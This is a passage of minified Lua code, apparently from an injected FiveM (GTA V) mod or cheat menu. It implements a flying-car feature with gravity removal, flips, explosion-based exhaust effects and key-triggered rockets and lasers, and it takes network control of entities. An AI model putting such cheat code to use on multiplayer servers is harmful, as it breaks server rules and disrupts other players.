hoverState.isVehicleHoverTestInAir(entity) end return false end hoverState.isVehicleHoverTestFlightActive = isVehicleHoverTestFlightActive end do local function getVehicleHoverTestWheelCount(entity) local count = 4 if GetVehicleNumberOfWheels then count = tonumber(GetVehicleNumberOfWheels(entity)) or 4 end if 6 < count then count = 6 elseif count < 1 then count = 4 end return count end hoverState.getVehicleHoverTestWheelCount = getVehicleHoverTestWheelCount end do local function captureVehicleHoverTestWheelDefaults(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end local defaults = {} local count = hoverState.getVehicleHoverTestWheelCount(entity) for wheel = 0, count - 1, 1 do local offset = 0.0 if GetVehicleWheelXOffset then offset = tonumber(GetVehicleWheelXOffset(entity, wheel)) or 0.0 end defaults[wheel] = offset end hoverState.wheelVeh = entity hoverState.wheelDefaults = defaults end hoverState.captureVehicleHoverTestWheelDefaults = captureVehicleHoverTestWheelDefaults end do local function restoreVehicleHoverTestWheelDefaults(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if SetVehicleSuspensionHeight then SetVehicleSuspensionHeight(entity, 0.0) end local count = hoverState.getVehicleHoverTestWheelCount(entity) for wheel = 0, count - 1, 1 do if SetVehicleWheelYRotation then SetVehicleWheelYRotation(entity, wheel, 0.0) end if SetVehicleWheelXOffset and hoverState.wheelDefaults and hoverState.wheelVeh == entity then SetVehicleWheelXOffset(entity, wheel, hoverState.wheelDefaults[wheel] or 0.0) end end repairHoverVehicleWheels(entity) hoverState.wheelsModified = false end hoverState.restoreVehicleHoverTestWheelDefaults = restoreVehicleHoverTestWheelDefaults end do local function clearVehicleHoverTestWheelState(entity) if entity and entity ~= 0 and DoesEntityExist(entity) and hoverState.wheelsModified then hoverState.restoreVehicleHoverTestWheelDefaults(entity) end hoverState.wheelVeh = nil hoverState.wheelDefaults = nil hoverState.wheelsModified = false end hoverState.clearVehicleHoverTestWheelState = clearVehicleHoverTestWheelState end do local function applyVehicleHoverTestWheelSkew(entity, enabled) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not enabled then if hoverState.wheelsModified then hoverState.restoreVehicleHoverTestWheelDefaults(entity) end return end if not SetVehicleWheelYRotation then return end if hoverState.wheelVeh ~= entity or not hoverState.wheelDefaults then hoverState.captureVehicleHoverTestWheelDefaults(entity) end if SetVehicleSuspensionHeight then SetVehicleSuspensionHeight(entity, hoverState.SUSPENSION_DROP) end local count = hoverState.getVehicleHoverTestWheelCount(entity) for wheel = 0, count - 1, 1 do local isEven = wheel % 2 == 0 SetVehicleWheelYRotation( entity, wheel, isEven and -hoverState.WHEEL_CAMBER or hoverState.WHEEL_CAMBER ) if SetVehicleWheelXOffset then local offset = hoverState.wheelDefaults and hoverState.wheelDefaults[wheel] or 0.0 if math.abs(offset) < 0.2 then offset = isEven and -0.85 or 0.85 end local widened = isEven and offset - hoverState.WHEEL_EXTRA_WIDTH or offset + hoverState.WHEEL_EXTRA_WIDTH SetVehicleWheelXOffset(entity, wheel, widened) end end hoverState.wheelsModified = true end hoverState.applyVehicleHoverTestWheelSkew = applyVehicleHoverTestWheelSkew end do local function ensureVehicleHoverTestExhaustPtfxLoaded() if hoverState.exhaustPtfxReady then return true end RequestNamedPtfxAsset("core") if HasNamedPtfxAssetLoaded("core") then hoverState.exhaustPtfxReady = true return true end return false end hoverState.ensureVehicleHoverTestExhaustPtfxLoaded = ensureVehicleHoverTestExhaustPtfxLoaded end do local function stopVehicleHoverTestExhaustSound() local vehicle = hoverState.exhaustSoundVehicle hoverState.exhaustSoundVehicle = nil hoverState.exhaustSoundNextAt = 0 if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then EnableVehicleExhaustPops(vehicle, false) SetVehicleTurboPressure(vehicle, 0.0) end end hoverState.stopVehicleHoverTestExhaustSound = stopVehicleHoverTestExhaustSound end do local function spawnVehicleHoverTestExhaustSound(entity) local currentTime = GetGameTimer() if hoverState.exhaustSoundVehicle ~= entity then hoverState.exhaustSoundVehicle = entity hoverState.exhaustSoundNextAt = 0 end if currentTime < hoverState.exhaustSoundNextAt then return end hoverState.exhaustSoundNextAt = currentTime + math.random(hoverState.EXHAUST_SOUND_MIN_MS, hoverState.EXHAUST_SOUND_MAX_MS) local foundBone = false for _, bone in ipairs(hoverState.EXHAUST_BONES) do local boneIndex = GetEntityBoneIndexByName(entity, bone) if boneIndex ~= -1 then foundBone = true local position = GetWorldPositionOfEntityBone(entity, boneIndex) local explosionType = hoverState.EXHAUST_SOUND_POP_TYPE if math.random(1, 3) == 1 then explosionType = hoverState.EXHAUST_SOUND_FLAME_TYPE end AddExplosion(position.x, position.y, position.z, explosionType, 0.0, true, true, 0.0, true) end end if not foundBone then local position = GetEntityCoords(entity) AddExplosion( position.x, position.y, position.z - 0.45, hoverState.EXHAUST_SOUND_POP_TYPE, 0.0, true, true, 0.0, true ) end end hoverState.spawnVehicleHoverTestExhaustSound = spawnVehicleHoverTestExhaustSound end do local function spawnVehicleHoverTestExhaustBackfire(entity, scale) for _, bone in ipairs(hoverState.EXHAUST_BONES) do local boneIndex = GetEntityBoneIndexByName(entity, bone) if boneIndex ~= -1 then local position = GetWorldPositionOfEntityBone(entity, boneIndex) local offset = GetOffsetFromEntityGivenWorldCoords(entity, position.x, position.y, position.z) UseParticleFxAssetNextCall("core") StartParticleFxNonLoopedOnEntity( "veh_backfire", entity, offset.x, offset.y, offset.z, 0.0, 0.0, 0.0, scale, false, false, false ) end end end hoverState.spawnVehicleHoverTestExhaustBackfire = spawnVehicleHoverTestExhaustBackfire end do local function updateVehicleHoverTestExhaustFire(entity, enabled) if not enabled then hoverState.stopVehicleHoverTestExhaustSound() return end EnableVehicleExhaustPops(entity, true) SetVehicleTurboPressure(entity, 100.0) SetVehicleCurrentRpm(entity, 0.92) hoverState.spawnVehicleHoverTestExhaustSound(entity) if not hoverState.ensureVehicleHoverTestExhaustPtfxLoaded() then return end hoverState.spawnVehicleHoverTestExhaustBackfire(entity, hoverState.EXHAUST_BACKFIRE_SCALE) end hoverState.updateVehicleHoverTestExhaustFire = updateVehicleHoverTestExhaustFire end do local function resetVehicleHoverTestState() if hoverState.veh then hoverState.restoreVehicleHoverTestGravity(hoverState.veh) if hoverState.wheelsModified then hoverState.restoreVehicleHoverTestWheelDefaults(hoverState.veh) end end if SetUserRadioControlEnabled then SetUserRadioControlEnabled(true) end hoverState.veh = nil hoverState.velX = 0.0 hoverState.velY = 0.0 hoverState.velZ = 0.0 hoverState.roll = 0.0 hoverState.flying = false hoverState.landingVx = 0.0 hoverState.landingVy = 0.0 hoverState.landingFrames = 0 hoverState.backflipActive = false hoverState.backflipElapsed = 0.0 hoverState.backflipAxis = "pitch" hoverState.backflipDirection = -1.0 hoverState.spinLoopActive = false hoverState.spinLoopDirection = 0.0 hoverState.spinLoopRoll = 0.0 hoverState.spinLoopPitch = 0.0 hoverState.spinLoopYaw = 0.0 hoverState.spinReturnActive = false hoverState.spinHoldTime = 0.0 hoverState.spinComboHeld = false hoverState.spinLastDirection = 0.0 hoverState.lastSpaceTapAt = 0 hoverState.climbPitchMode = nil hoverState.stopVehicleHoverTestExhaustSound() end hoverState.resetVehicleHoverTestState = resetVehicleHoverTestState end do local function applyVehicleHoverTestLandingCarry(vehicle) if hoverState.landingFrames <= 0 then return false end local velocityX = tonumber(hoverState.landingVx) or 0.0 local velocityY = tonumber(hoverState.landingVy) or 0.0 local speed = math.sqrt(velocityX * velocityX + velocityY * velocityY) if 0.5 < speed then local velocity = GetEntityVelocity(vehicle) local velocityZ = 0.0 if velocity and velocity.z then velocityZ = tonumber(velocity.z) or 0.0 else local rawX, rawY, rawZ = GetEntityVelocity(vehicle) velocityZ = tonumber(rawZ) or 0.0 end SetVehicleEngineOn(vehicle, true, true, false) SetVehicleHandbrake(vehicle, false) SetVehicleBrake(vehicle, false) SetEntityVelocity(vehicle, velocityX, velocityY, velocityZ) if SetVehicleForwardSpeed then SetVehicleForwardSpeed(vehicle, speed) end end hoverState.landingFrames = hoverState.landingFrames - 1 if hoverState.landingFrames <= 0 then hoverState.landingVx = 0.0 hoverState.landingVy = 0.0 end return true end hoverState.applyVehicleHoverTestLandingCarry = applyVehicleHoverTestLandingCarry end do local function getVehicleHoverTestCoords(entity) local coords = GetEntityCoords(entity) if coords and coords.x and coords.y then return tonumber(coords.x) or 0.0, tonumber(coords.y) or 0.0, tonumber(coords.z) or 0.0 end local rawX, rawY, rawZ = GetEntityCoords(entity) return tonumber(rawX) or 0.0, tonumber(rawY) or 0.0, tonumber(rawZ) or 0.0 end hoverState.getVehicleHoverTestCoords = getVehicleHoverTestCoords end do local function getVehicleHoverTestRotation(entity) local rotation = GetEntityRotation(entity, 2) if rotation and rotation.x then return tonumber(rotation.x) or 0.0, tonumber(rotation.y) or 0.0, tonumber(rotation.z) or 0.0 end local rawX, rawY, rawZ = GetEntityRotation(entity, 2) return tonumber(rawX) or 0.0, tonumber(rawY) or 0.0, tonumber(rawZ) or 0.0 end hoverState.getVehicleHoverTestRotation = getVehicleHoverTestRotation end do local function lerpVehicleHoverTestAngle(startAngle, endAngle, amount) startAngle = tonumber(startAngle) or 0.0 endAngle = tonumber(endAngle) or 0.0 amount = tonumber(amount) or 0.0 if amount < 0.0 then amount = 0.0 elseif 1.0 < amount then amount = 1.0 end local delta = (endAngle - startAngle + 180.0) % 360.0 - 180.0 return startAngle + delta * amount end hoverState.lerpVehicleHoverTestAngle = lerpVehicleHoverTestAngle end do local function getVehicleHoverTestCameraData() local rotation = GetFinalRenderedCamRot if rotation then rotation = GetFinalRenderedCamRot(2) end if not rotation then rotation = GetGameplayCamRot if rotation then rotation = GetGameplayCamRot(2) end end if not rotation then return 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0 end local pitch = tonumber(rotation.x) or 0.0 local yaw = tonumber(rotation.z) or 0.0 local forwardX = -math.sin(math.rad(yaw)) local forwardY = math.cos(math.rad(yaw)) local forwardZ = 0.0 if pitch < 0.0 then forwardZ = math.sin(math.rad(pitch)) end return pitch, yaw, forwardX, forwardY, forwardZ, math.cos(math.rad(yaw)), math.sin(math.rad(yaw)) end hoverState.getVehicleHoverTestCameraData = getVehicleHoverTestCameraData end do local function clampVehicleHoverTestVelocity(x, y, z, maximumSpeed) x = tonumber(x) or 0.0 y = tonumber(y) or 0.0 z = tonumber(z) or 0.0 maximumSpeed = tonumber(maximumSpeed) or hoverState.MAX_SPEED local squaredSpeed = x * x + y * y + z * z if squaredSpeed <= maximumSpeed * maximumSpeed then return x, y, z end local speed = math.sqrt(squaredSpeed) if speed <= 0.001 then return 0.0, 0.0, 0.0 end local scale = maximumSpeed / speed return x * scale, y * scale, z * scale end hoverState.clampVehicleHoverTestVelocity = clampVehicleHoverTestVelocity end do local function isVehicleHoverTestControlPressed(control) return IsControlPressed(0, control) or IsDisabledControlPressed(0, control) end hoverState.isVehicleHoverTestControlPressed = isVehicleHoverTestControlPressed end do local function isVehicleHoverTestControlJustPressed(control) return IsControlJustPressed(0, control) or IsDisabledControlJustPressed(0, control) end hoverState.isVehicleHoverTestControlJustPressed = isVehicleHoverTestControlJustPressed end do local function isVehicleHoverTestAzertyKeyDown(keyName) if not menu.utils or not menu.utils.isAzertyKeyboard or not menu.utils.isAzertyKeyboard() then return false end if not ImGuiKey or not keyName or not ImGuiKey[keyName] or not Ham or not Ham.isKeyDown then return false end return Ham.isKeyDown(ImGuiKey[keyName]) == true end hoverState.isVehicleHoverTestAzertyKeyDown = isVehicleHoverTestAzertyKeyDown end do local function isVehicleHoverTestRocketKeyHeld() if menu.utils and menu.utils.isAzertyKeyboard and menu.utils.isAzertyKeyboard() then if ImGuiKey and ImGuiKey.A and Ham and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.A) then return true end elseif ImGuiKey and ImGuiKey.Q and Ham and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.Q) then return true end return hoverState.isVehicleHoverTestControlPressed(44) end hoverState.isVehicleHoverTestRocketKeyHeld = isVehicleHoverTestRocketKeyHeld end do local function isVehicleHoverTestLaserKeyHeld() if ImGuiKey and ImGuiKey.E and Ham and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.E) then return true end return hoverState.isVehicleHoverTestControlPressed(38) or hoverState.isVehicleHoverTestControlPressed(86) end hoverState.isVehicleHoverTestLaserKeyHeld = isVehicleHoverTestLaserKeyHeld end do local function drawVehicleHoverTestHint() if not hoverState.flying then return end if not Ham or not Ham.getResolution or not Ham.setFont or not Ham.drawText then return end local azerty = menu.utils if azerty then azerty = menu.utils.isAzertyKeyboard if azerty then azerty = menu.utils.isAzertyKeyboard() end end local hint = azerty and "A for Explosion E for Bullets" or "Q for Explosion E for Bullets" local screenWidth, screenHeight = Ham.getResolution() local font = menu.fonts if font then font = menu.fonts.options end if not font then return end Ham.setFont(font.font) local textSize = math.max(15, roundNearest((font.font_size or 15) * 1.02)) local color = { 255, 255, 255, 255 } local verticalPosition = roundNearest(screenHeight * 0.96) local shadow = { 0, 0, 0, 180 } if Hdn and Hdn.drawText then Hdn.drawText(hint, { screenWidth / 2, verticalPosition }, color, textSize, true, true, shadow) Hdn.drawText(hint, { screenWidth / 2, verticalPosition }, color, textSize, true, false, {}) else local textWidth = select(1, Ham.getTextWidth(hint)) or 0 local baseSize = font.font_size or 15 local scale if 0 < baseSize then scale = textSize / (font.font_size or 15) end if not scale then scale = 1.0 end local horizontalPosition = roundNearest((screenWidth - roundNearest(textWidth * scale)) / 2) Ham.drawText(hint, { horizontalPosition, verticalPosition }, color, textSize, false, true, shadow) Ham.drawText(hint, { horizontalPosition, verticalPosition }, color, textSize, false, false, {}) end Ham.resetFont() end hoverState.drawVehicleHoverTestHint = drawVehicleHoverTestHint end do local function tryFireVehicleHoverTestRocket(vehicle) if not hoverState.flying or not hoverState.isVehicleHoverTestRocketKeyHeld() then return end local currentTime = GetGameTimer() if currentTime - hoverState.lastRocketAt < hoverState.ROCKET_INTERVAL_MS then return end hoverState.lastRocketAt = currentTime if menu.functions.fireRocketLeagueRocket then CreateThread(function() menu.functions.fireRocketLeagueRocket(vehicle) end) end end hoverState.tryFireVehicleHoverTestRocket = tryFireVehicleHoverTestRocket end do local function tryFireVehicleHoverTestLasers(vehicle) if not hoverState.flying or not hoverState.isVehicleHoverTestLaserKeyHeld() then return end local currentTime = GetGameTimer() if currentTime - hoverState.lastLaserAt < hoverState.LASER_INTERVAL_MS then return end hoverState.lastLaserAt = currentTime if menu.functions.fireRocketLeagueLasers then CreateThread(function() menu.functions.fireRocketLeagueLasers(vehicle) end) end end hoverState.tryFireVehicleHoverTestLasers = tryFireVehicleHoverTestLasers end do local function isVehicleHoverTestForwardPressed() if hoverState.isVehicleHoverTestControlPressed(32) or hoverState.isVehicleHoverTestControlPressed(71) then return true end return hoverState.isVehicleHoverTestAzertyKeyDown("Z") end hoverState.isVehicleHoverTestForwardPressed = isVehicleHoverTestForwardPressed end do local function isVehicleHoverTestBackwardPressed() if hoverState.isVehicleHoverTestControlPressed(33) or hoverState.isVehicleHoverTestControlPressed(72) then return true end return hoverState.isVehicleHoverTestAzertyKeyDown("S") end hoverState.isVehicleHoverTestBackwardPressed = isVehicleHoverTestBackwardPressed end do local function isVehicleHoverTestLeftPressed() if hoverState.isVehicleHoverTestControlPressed(34) then return true end return hoverState.isVehicleHoverTestAzertyKeyDown("Q") end hoverState.isVehicleHoverTestLeftPressed = isVehicleHoverTestLeftPressed end do local function isVehicleHoverTestRightPressed() if hoverState.isVehicleHoverTestControlPressed(35) then return true end return hoverState.isVehicleHoverTestAzertyKeyDown("D") end hoverState.isVehicleHoverTestRightPressed = isVehicleHoverTestRightPressed end do local function isVehicleHoverTestLeftMousePressed() for _, control in ipairs(hoverState.CLIMB_CONTROLS) do for inputGroup = 0, 2, 1 do if IsControlPressed(inputGroup, control) or IsDisabledControlPressed(inputGroup, control) then return true end end end if Ham and Ham.isMouseDown and Ham.isMouseDown(0) then return true end if ImGuiKey and ImGuiKey.MouseLeft and Ham and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.MouseLeft) then return true end return false end hoverState.isVehicleHoverTestLeftMousePressed = isVehicleHoverTestLeftMousePressed end do local function isVehicleHoverTestRightMousePressed() if hoverState.isVehicleHoverTestControlPressed(hoverState.BACKFLIP_CONTROL) then return true end if Ham and Ham.isMouseDown and Ham.isMouseDown(1) then return true end if ImGuiKey and ImGuiKey.MouseRight and Ham and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.MouseRight) then return true end return false end hoverState.isVehicleHoverTestRightMousePressed = isVehicleHoverTestRightMousePressed end do local function isVehicleHoverTestRightMouseJustPressed() if hoverState.isVehicleHoverTestControlJustPressed(hoverState.BACKFLIP_CONTROL) then return true end if ImGuiKey and ImGuiKey.MouseRight and Ham and Ham.isKeyPressed and Ham.isKeyPressed(ImGuiKey.MouseRight) then return true end return false end hoverState.isVehicleHoverTestRightMouseJustPressed = isVehicleHoverTestRightMouseJustPressed end do local function getVehicleHoverTestSpinRollDirection() if hoverState.isVehicleHoverTestLeftPressed() then return -1.0 end if hoverState.isVehicleHoverTestRightPressed() then return 1.0 end return nil end hoverState.getVehicleHoverTestSpinRollDirection = getVehicleHoverTestSpinRollDirection end do local function getVehicleHoverTestForwardVector(vehicle) local forward = GetEntityForwardVector(vehicle) if forward and forward.x then return tonumber(forward.x) or 0.0, tonumber(forward.y) or 0.0, tonumber(forward.z) or 0.0 end local rawX, rawY, rawZ = GetEntityForwardVector(vehicle) return tonumber(rawX) or 0.0, tonumber(rawY) or 0.0, tonumber(rawZ) or 0.0 end hoverState.getVehicleHoverTestForwardVector = getVehicleHoverTestForwardVector end do local function getVehicleHoverTestPlanarForwardVector(vehicle) local pitch, roll, yaw = hoverState.getVehicleHoverTestRotation(vehicle) local radians = math.rad(yaw) return -math.sin(radians), math.cos(radians), 0.0 end hoverState.getVehicleHoverTestPlanarForwardVector = getVehicleHoverTestPlanarForwardVector end do local function captureVehicleHoverTestVelocity(vehicle) local velocity = GetEntityVelocity(vehicle) if velocity and velocity.x then hoverState.velX = tonumber(velocity.x) or 0.0 hoverState.velY = tonumber(velocity.y) or 0.0 hoverState.velZ = tonumber(velocity.z) or 0.0 return end local rawX, rawY, rawZ = GetEntityVelocity(vehicle) hoverState.velX = tonumber(rawX) or 0.0 hoverState.velY = tonumber(rawY) or 0.0 hoverState.velZ = tonumber(rawZ) or 0.0 end hoverState.captureVehicleHoverTestVelocity = captureVehicleHoverTestVelocity end do local function getVehicleHoverTestBackflipSteerInput() if hoverState.isVehicleHoverTestForwardPressed() then return "pitch", -1.0 end if hoverState.isVehicleHoverTestBackwardPressed() then return "pitch", 1.0 end return nil, nil end hoverState.getVehicleHoverTestBackflipSteerInput = getVehicleHoverTestBackflipSteerInput end do local function beginVehicleHoverTestBackflip(vehicle, axis, direction) if not axis then axis = select(1, hoverState.getVehicleHoverTestBackflipSteerInput()) end if not direction then direction = select(2, hoverState.getVehicleHoverTestBackflipSteerInput()) end if not axis then return false end local pitch, roll, yaw = hoverState.getVehicleHoverTestRotation(vehicle) hoverState.spinReturnActive = false hoverState.backflipActive = true hoverState.backflipElapsed = 0.0 hoverState.backflipStartPitch = pitch hoverState.backflipStartRoll = roll hoverState.backflipStartYaw = yaw hoverState.backflipAxis = axis hoverState.backflipDirection = direction return true end hoverState.beginVehicleHoverTestBackflip = beginVehicleHoverTestBackflip end do local function beginVehicleHoverTestSpinReturn(unusedVehicle) hoverState.spinLoopActive = false hoverState.spinReturnActive = true hoverState.spinHoldTime = 0.0 hoverState.spinComboHeld = false end hoverState.beginVehicleHoverTestSpinReturn = beginVehicleHoverTestSpinReturn end do local function updateVehicleHoverTestSpinReturn(vehicle, deltaTime, targetYaw) local pitch, roll, yaw = hoverState.getVehicleHoverTestRotation(vehicle) local amount = math.min(1.0, hoverState.SPIN_RETURN_SMOOTH * deltaTime) local nextPitch = pitch + (0.0 - pitch) * amount local nextRoll = roll + (0.0 - roll) * amount local nextYaw = hoverState.lerpVehicleHoverTestAngle(yaw, targetYaw, amount) SetEntityRotation(vehicle, nextPitch, nextRoll, nextYaw, 2, true) hoverState.roll = nextRoll if math.abs(nextPitch) < 0.35 and math.abs(nextRoll) < 0.35 then hoverState.spinReturnActive = false SetEntityRotation(vehicle, 0.0, 0.0, nextYaw, 2, true) hoverState.roll = 0.0 return false end return true end hoverState.updateVehicleHoverTestSpinReturn = updateVehicleHoverTestSpinReturn end do local function updateVehicleHoverTestBackflip(vehicle, deltaTime) if not hoverState.backflipActive then return false end hoverState.backflipElapsed = hoverState.backflipElapsed + deltaTime local progress = hoverState.backflipElapsed / hoverState.BACKFLIP_DURATION if 1.0 <= progress then hoverState.backflipActive = false SetEntityRotation( vehicle, hoverState.backflipStartPitch, hoverState.backflipStartRoll, hoverState.backflipStartYaw, 2, true ) return false end if progress < 0.0 then progress = 0.0 end local smoothProgress = progress * progress * (3.0 - 2.0 * progress) local rotation = hoverState.BACKFLIP_DEGREES * smoothProgress * hoverState.backflipDirection local pitch = hoverState.backflipStartPitch local roll = hoverState.backflipStartRoll if hoverState.backflipAxis == "roll" then roll = hoverState.backflipStartRoll + rotation else pitch = hoverState.backflipStartPitch + rotation end SetEntityRotation(vehicle, pitch, roll, hoverState.backflipStartYaw, 2, true) return true end hoverState.updateVehicleHoverTestBackflip = updateVehicleHoverTestBackflip end do local function setVehicleHoverTestRadioBlocked(blocked) if SetUserRadioControlEnabled then SetUserRadioControlEnabled(not blocked) end end hoverState.setVehicleHoverTestRadioBlocked = setVehicleHoverTestRadioBlocked end do local function blockVehicleHoverTestQRadioThisFrame() hoverState.setVehicleHoverTestRadioBlocked(true) if HideHudComponentThisFrame then HideHudComponentThisFrame(16) end for inputGroup = 0, 2, 1 do DisableControlAction(inputGroup, 44, true) DisableControlAction(inputGroup, 85, true) DisableControlAction(inputGroup, 81, true) DisableControlAction(inputGroup, 82, true) DisableControlAction(inputGroup, 83, true) DisableControlAction(inputGroup, 84, true) DisableControlAction(inputGroup, 86, true) DisableControlAction(inputGroup, 38, true) end end hoverState.blockVehicleHoverTestQRadioThisFrame = blockVehicleHoverTestQRadioThisFrame end do local function stopVehicleHoverTestFlight(entity) hoverState.flying = false hoverState.backflipActive = false hoverState.backflipElapsed = 0.0 hoverState.spinLoopActive = false hoverState.spinHoldTime = 0.0 hoverState.spinComboHeld = false hoverState.climbPitchMode = nil hoverState.lastSpaceTapAt = 0 hoverState.spinReturnActive = true hoverState.setVehicleHoverTestRadioBlocked(false) hoverState.restoreVehicleHoverTestGravity(entity) hoverState.applyVehicleHoverTestWheelSkew(entity, false) hoverState.captureVehicleHoverTestVelocity(entity) hoverState.stopVehicleHoverTestExhaustSound() end hoverState.stopVehicleHoverTestFlight = stopVehicleHoverTestFlight end do local function beginVehicleHoverTestFlight(entity, liftFromGround) hoverState.flying = true hoverState.spinReturnActive = false hoverState.captureVehicleHoverTestVelocity(entity) if liftFromGround then if hoverState.velZ < hoverState.GROUND_LIFT_SPEED then hoverState.velZ = hoverState.GROUND_LIFT_SPEED end local x, y, z = hoverState.getVehicleHoverTestCoords(entity) SetEntityCoordsNoOffset(entity, x, y, z + 0.12, false, false, false) end SetEntityVelocity(entity, hoverState.velX, hoverState.velY, hoverState.velZ) end hoverState.beginVehicleHoverTestFlight = beginVehicleHoverTestFlight end do local function applyVehicleHoverTest(entity) local rightMouseDown, spinRollDirection, forwardPressed, backwardPressed if not entity or entity == 0 or not DoesEntityExist(entity) then return false end NetworkRequestControlOfEntity(entity) if hoverState.flying then hoverState.blockVehicleHoverTestQRadioThisFrame() end if hoverState.veh ~= entity then if hoverState.veh then hoverState.resetVehicleHoverTestState() end hoverState.veh = entity hoverState.wheelVeh = nil hoverState.wheelDefaults = nil hoverState.wheelsModified = false hoverState.captureVehicleHoverTestWheelDefaults(entity) end if not hoverState.isVehicleHoverTestFlightActive(entity) then hoverState.applyVehicleHoverTestWheelSkew(entity, false) end hoverState.velX = tonumber(hoverState.velX) or 0.0 hoverState.velY = tonumber(hoverState.velY) or 0.0 hoverState.velZ = tonumber(hoverState.velZ) or 0.0 hoverState.roll = tonumber(hoverState.roll) or 0.0 local frameTime = tonumber(GetFrameTime()) or 0.016 if frameTime <= 0.0 or 0.1 < frameTime then frameTime = 0.016 end local spacePressed = hoverState.isVehicleHoverTestControlJustPressed(22) if hoverState.flying and spacePressed then local currentTime = GetGameTimer() if 0 < hoverState.lastSpaceTapAt and currentTime - hoverState.lastSpaceTapAt <= hoverState.SPACE_DOUBLE_TAP_MS then hoverState.stopVehicleHoverTestFlight(entity) return false end hoverState.lastSpaceTapAt = currentTime end if hoverState.spinReturnActive and not hoverState.flying then local cameraPitch, cameraYaw = hoverState.getVehicleHoverTestCameraData() hoverState.updateVehicleHoverTestSpinReturn(entity, frameTime, cameraYaw) return false end local onGround = hoverState.isVehicleHoverTestOnGround(entity) if onGround then if spacePressed and not hoverState.flying then hoverState.landingFrames = 0 hoverState.landingVx = 0.0 hoverState.landingVy = 0.0 hoverState.beginVehicleHoverTestFlight(entity, true) else if hoverState.flying == true then hoverState.captureVehicleHoverTestVelocity(entity) hoverState.landingVx = hoverState.velX hoverState.landingVy = hoverState.velY hoverState.landingFrames = hoverState.LANDING_CARRY_FRAMES end hoverState.restoreVehicleHoverTestGravity(entity) hoverState.flying = false hoverState.backflipActive = false hoverState.backflipElapsed = 0.0 hoverState.roll = hoverState.roll * (1.0 - hoverState.ROLL_SMOOTH * frameTime) if hoverState.applyVehicleHoverTestLandingCarry(entity) then hoverState.velX = hoverState.landingVx hoverState.velY = hoverState.landingVy hoverState.velZ = 0.0 else local damping = math.max(0.0, 1.0 - hoverState.HOVER_DAMP * 1.35 * frameTime) hoverState.velX = hoverState.velX * damping hoverState.velY = hoverState.velY * damping hoverState.velZ = hoverState.velZ * damping if math.abs(hoverState.velX) < 0.08 then hoverState.velX = 0.0 end if math.abs(hoverState.velY) < 0.08 then hoverState.velY = 0.0 end if math.abs(hoverState.velZ) < 0.08 then hoverState.velZ = 0.0 end end if math.abs(hoverState.roll) < 0.25 then hoverState.roll = 0.0 end hoverState.applyVehicleHoverTestWheelSkew(entity, false) return false end elseif not hoverState.flying then if spacePressed then hoverState.beginVehicleHoverTestFlight(entity, false) else hoverState.restoreVehicleHoverTestGravity(entity) hoverState.applyVehicleHoverTestWheelSkew(entity, false) return false end end if SetEntityHasGravity then SetEntityHasGravity(entity, false) end if SetVehicleGravity then SetVehicleGravity(entity, false) end SetVehicleEngineOn(entity, true, true, false) SetVehicleHandbrake(entity, false) SetVehicleBrake(entity, false) for _, control in ipairs(hoverState.CLIMB_CONTROLS) do EnableControlAction(0, control, true) EnableControlAction(1, control, true) EnableControlAction(2, control, true) end EnableControlAction(0, hoverState.BACKFLIP_CONTROL, true) EnableControlAction(1, hoverState.BACKFLIP_CONTROL, true) EnableControlAction(2, hoverState.BACKFLIP_CONTROL, true) local cameraPitch, cameraYaw, cameraForwardX, cameraForwardY, cameraForwardZ, cameraRightX, cameraRightY = hoverState.getVehicleHoverTestCameraData() local climbHeld = hoverState.isVehicleHoverTestLeftMousePressed() local backwardWhileClimbing = climbHeld and hoverState.isVehicleHoverTestBackwardPressed() local forwardWhileClimbing = climbHeld and hoverState.isVehicleHoverTestForwardPressed() if climbHeld then if not hoverState.climbPitchMode then if backwardWhileClimbing then hoverState.climbPitchMode = "up" elseif forwardWhileClimbing then hoverState.climbPitchMode = "down" end end else hoverState.climbPitchMode = nil end local climbUp = climbHeld and hoverState.climbPitchMode == "up" local climbDown = climbHeld and hoverState.climbPitchMode == "down" rightMouseDown = hoverState.isVehicleHoverTestRightMousePressed() spinRollDirection = hoverState.getVehicleHoverTestSpinRollDirection() local spinCombinationPressed = rightMouseDown and spinRollDirection ~= nil local rotationInProgress = false if hoverState.isVehicleHoverTestFlightActive(entity) then if spinCombinationPressed then hoverState.spinHoldTime = hoverState.spinHoldTime + frameTime hoverState.spinComboHeld = true hoverState.spinLastDirection = spinRollDirection hoverState.spinReturnActive = false if hoverState.spinHoldTime >= hoverState.SPIN_HOLD_THRESHOLD then if not hoverState.spinLoopActive then hoverState.spinLoopActive = true hoverState.backflipActive = false hoverState.backflipElapsed = 0.0 local pitch, roll, yaw = hoverState.getVehicleHoverTestRotation(entity) hoverState.spinLoopPitch = pitch hoverState.spinLoopRoll = roll hoverState.spinLoopYaw = yaw hoverState.spinLoopDirection = spinRollDirection elseif spinRollDirection ~= hoverState.spinLoopDirection then hoverState.spinLoopDirection = spinRollDirection end end elseif hoverState.spinComboHeld then if hoverState.spinLoopActive then hoverState.beginVehicleHoverTestSpinReturn(entity) elseif 0.0 < hoverState.spinHoldTime and hoverState.spinHoldTime < hoverState.SPIN_HOLD_THRESHOLD and not hoverState.backflipActive then hoverState.beginVehicleHoverTestBackflip(entity, "roll", hoverState.spinLastDirection) end hoverState.spinHoldTime = 0.0 hoverState.spinComboHeld = false end if hoverState.isVehicleHoverTestRightMouseJustPressed() and not spinRollDirection and not hoverState.backflipActive and not hoverState.spinLoopActive then hoverState.beginVehicleHoverTestBackflip(entity) end end if hoverState.spinLoopActive and spinCombinationPressed then hoverState.spinLoopRoll = hoverState.spinLoopRoll + hoverState.SPIN_LOOP_SPEED * frameTime * hoverState.spinLoopDirection SetEntityRotation( entity, hoverState.spinLoopPitch, hoverState.spinLoopRoll, hoverState.spinLoopYaw, 2, true ) hoverState.roll = hoverState.spinLoopRoll rotationInProgress = true end if hoverState.updateVehicleHoverTestBackflip(entity, frameTime) then rotationInProgress = true end do local pitch, roll, yaw = hoverState.getVehicleHoverTestRotation(entity) local yawSmoothing = math.min(1.0, hoverState.YAW_SMOOTH * frameTime) local pitchSmoothing = math.min(1.0, 